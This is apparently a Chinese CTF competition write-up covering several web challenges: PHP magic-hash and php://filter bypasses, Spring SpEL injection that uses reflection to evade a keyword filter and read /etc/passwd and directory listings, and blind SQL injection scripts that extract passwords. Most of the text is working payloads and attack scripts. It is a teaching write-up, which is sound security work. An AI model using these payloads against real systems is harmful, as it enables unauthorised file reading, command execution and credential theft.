Day 1

0x01 Web3

  • 伪协议
  • md5碰撞

file_get_contents($shell1)==='first blood'
利用php://input 来绕过

$shell2==md5($shell2)

在这里插入图片描述

利用PHP松散比较特性来绕过, **0e开头的字符串md5值也是0e开头即可绕过,**写脚本找到一个合适的数字: 0e215962017

1
2
php > var_dump('0e215962017'=='0e291242476940776845150308577824');
bool(true)

$shell3 = preg_replace('/php/','',$shell3); 只过滤了一次php,并且没有对大小写限制
构造伪协议读取PHP://filter/read=convert.base64-encode/resource=flag.pphphp

image-20200913214141137

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import string,hashlib
import re
a=string.digits
print a
raw='0e'

for i in a:
for j in a:
for k in a:
for m in a:
for n in a:
for n1 in a:
for n2 in a:
for n3 in a:
for n4 in a:
t= raw+i+j+k+m+n+n1+n2+n3+n4
t=str(t)
s=hashlib.md5(t).hexdigest()
if s[0:2]=="0e":
if s[2:].isdigit():
print t
print s

0x02 Web7

  • Java反射
  • Spel注入

SpEL,全称 Spring Expression Language,顾名思义,是 Spring 提供的表达式执行语言。从 CTF 的角度来说,我们需要了解这些:

基础知识

数组

不可修改

不可修改的数组可以通过 {a, a, b} 实现,构造的是 java.util.Collections$UnmodifiableRandomAccessList

可修改

数组可以通过 {a, b + c} 实现。和集合相比,其最大的区别就是多了一次运算。注意到上面的 Unmidifiable 了吗?当不存在运算时,SpEL 默认所有内容都是不可修改的;但一旦引入了运算,就代表数组(或其他容器)中的内容是需要修改的,因此对应构造的容器也就变成了 java.util.ArrayList

值得注意的是,这里可以通过 ArrayList.toArray() 生成 Object[]

Map

Map 同样分为可修改和不可修改,对应的分别是 java.util.Collections$UnmodifiableMapjava.util.LinkedHashMap。创建的格式类似 JSON,这里就直接略过了。

[] 运算符

[] 运算符的作用是获取数组/Map 中的内容(属性),因此利用这个可以获得类中成员的值

整体语法和 JS 类似,但是有一些例外。对于 String 而言,[] 只能通过下标访问字符,因此 ''['class'] 会报错而 ''.class 没有问题。

待确认

new

在 SpEL 中可以通过 new 来创建对象,使用方式和 Java 相同。但由于这里的题目本身 WAF 了 new,因此题解中并没有用到。

T(class)

使用诸如 T(java.lang.Runtime) 的结构可以获得一个该类本身的引用,之后就可以执行其对应的静态函数了。但同样是上面的原因,由于 WAF 了 T(,因此本题没有用到。

尝试构造命令执行:java.lang.Runtime

首先是测了一下 WAF 过滤的内容:

  • java.lang
  • new
  • getClass
  • T(
  • #
  • String
  • getMethod('exec').invoke()
  • Runtime
  • exec(
  • get(
  • Root(
  • Parent(
  • list(

bulid阶段源码:image-20200914003658546

绕过 T(

由于 T( 被限制,因此我们需要通过另一种方式绕过 T(。这里我们使用的是 forName

1
`''.class.forName('java'+'.lang.R'+'untime')`

获取 getRuntime

由于 getRuntime 存在被过滤单词,因此只能通过反射获取方法:

1
`''.class.forName('java'+'.lang.R'+'untime').getMethod('getR'+'untime').invoke(''.class.forName('java'+'.lang.R'+'untime'))`

成功获得 Runtime 实例:

img

exec

使用类似的方法构造 exec,并尝试执行:

1
`''.class.forName('java'+'.lang.R'+'untime').getMethod('ex'+'ec', ''.class).invoke(''.class.forName('java'+'.lang.R'+'untime').getMethod('getR'+'untime').invoke(''.class.forName('java'+'.lang.R'+'untime')),'ls')`

然而,执行的结果表明:使用了 openrasp

img

由于 openrasp 不同于普通的 WAF,我这里没有想到办法绕过。这个方案可以说是失败了。

尝试构造读取文件:java.nio

文件读取

绕过new(

Files.readAllBytes(Path.get("1122")) 没有new

尝试通过 java.nio 直接读取文件。尝试读取 /etc/passwd 的内容。

1
`''.class.forName('java.nio.file.Files').readAllBytes(''.class.forName('java.nio.file.Paths').get('/flag'))`

get(被WAF

绕过get(

既然限制了get(,那就反射出get()方法再invoke,不过需要实例化Path对象

查看javaapi手册,(1.7版本后Path成了Paths),Pathsjava.nio.file.Paths中,其中有get方法可以构造一个path对象

image-20200913232033062

需要URI参数,可以通过create方法构造URI对象''.class.forName('java.net.URI').create("file:///etc/passwd")

image-20200913232109617

payload:''.class.forName('java.nio.file.Files').readAllBytes(''.class.forName('java.nio.file.Paths').getMethod('get',''.class.forName('java.net.URI')).invoke(''.class.forName('java.nio.file.Paths'),''.class.forName('java.net.URI').create("file:///etc/passwd")))

image-20200913230027120

这里直接返回了一个 byte[],看来是成功了。

逐字符获取

通过下标访问可以获得每个字符的内容,然后 xjb 写个脚本就可以了:

1
2
3
4
5
6
7
8
9
10
11
12
13
arr = [];

func = (i) =>
fetch(
"http://106.52.164.141/spel/calc?calc=" +
escape(
<div class="enlighter-default enlighter-v-inline enlighter-t-beyond "><span class="enlighter"><span class="enlighter-text">''.class.forName('java.nio.file.Files').readAllBytes(''.class.forName('java.nio.file.Paths').get('/flag'))[${i}]</span></span></div><code data-enlighter-language="raw" class="EnlighterJSRAW enlighter-origin">''.class.forName('java.nio.file.Files').readAllBytes(''.class.forName('java.nio.file.Paths').get('/flag'))[${i}]</code>
)
)
.then((t) => t.text())
.then((t) => arr.push(String.fromCharCode(t)));

for (let i = 0; i < 44; i++) await func(i);

(然而之前翻车了

img

img

最终正常拼接得到结果。

直接读取

img

尝试用这种方法获取字符串:''.class.forName('java.nio.charset.StandardCharsets').UTF_8.decode(''.class.forName('java.NIO.ByteBuffer').wrap( payload ))

payload:''.class.forName('java.nio.file.Files').readAllBytes(''.class.forName('java.nio.file.Paths').getMethod('get',''.class.forName('java.net.URI')).invoke(''.class.forName('java.nio.file.Paths'),''.class.forName('java.net.URI').create("file:///etc/passwd")))

image-20200914000532196

然而尝试读取/flag发现没有, 不知道flag在哪里 所以尝试遍历目录

构造遍历目录方式

java.io.Filepublic String[] list(), 不过调用这个方法需要实例化对象,然而new被禁止了,所以找一下可以返回File对象的方法 ,找到listRoot方法

image-20200913234906252

Demo 列出计算机所有根目录下的文件(展示list listRoot的用法):

image-20200913234800431

listRoots[0].list()[0]即可查看第一个根目录下的第一个文件

payload:''.class.forName('java.io.File').getMethod('list').invoke(''.class.forName('java.io.File').getMethod('listRoots').invoke(''.class.forName('java.io.File'))[0])

image-20200913235755396

用BP爆破一下,发现了flag的位置,

image-20200914004258730

image-20200914004446962

获取flag内容

直接就读出来了

image-20200914004337464

然鹅…4点结束攻击环节… 4点01得出的答案…哭辽 原来flag在/flag.txt里面… 完全可以尝试猜到的,结果上一个题flag在/flag让我陷入思维定势,觉得flag都在/flag里面,就没继续尝试, 又费时间构造了遍历目录的方式

Day2

0x01 Web2

  • sql过滤单引号

select * from users where username='$_POST["username"]' and password='$_POST["password"]'

过滤了单引号,但是没有过滤反斜杠\, 令username=admin\ ,password=or(2>1)#

这样语句就变成了:select * from users where username='admin\' and password='or(2>1)#'

<=>select * from users where username='****'or(2>1)#

image-20200914005752737

;号php会自己加上,不需要我们传入

payload: or/**/(ascii(right(left(password,{i+1}),1))>{j})#

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests

s = requests.Session()
url = 'http://ip/index.php'
flag = ''

def exp(i, j):
payload = f"or/**/(ascii(right(left(password,{i+1}),1))>{j})#"
data = {
"username": "admin\\",
"password": payload
}
r = s.post(url, data=data)
if "success.jpg" in r.text:
return True
else:
return False

for i in range(0, 100):
low = 32
high = 200
while (low <= high):
mid = (low + high)//2
if (exp(i, mid)):
low = mid + 1
else:
high = mid - 1
flag += chr((low+high+1)//2)
print(flag)

这个题目思路没问题,但是怎么测试都不行…奇怪了

0x02 Web5

Fuzz一下被禁止的关键词, mid可用, select只被过滤了一次可以用来绕过其他被禁止的关键字

结果为真的话返回 Too young too simple, 假的话返回 Incorrect password

'or/**/'1'like'1'%00 真
'or/**/'1'like'1'# 假

fuzz了好长时间… 觉得逻辑非常奇怪,后来发现应该是注释符的问题…

image-20200914004744178

Payload: 'or/**/subselectstr(password,1,1)like'w'%00

image-20200914004830950

在burpsuite中爆破出密码 w31c0mE 4nd H ve FuN

转义字符被禁止了所以无法爆破下划线,百分号等特殊字符,
所以对密码进行爆破,空格地方用下划线代替,H ve中间爆破出是百分号

image-20200914004904619

用帐号密码登录就可

ciscn{UjSmH9SCD6zuZUAc5g}

第一次在国赛上拿到3血的题目

image-20200914003403226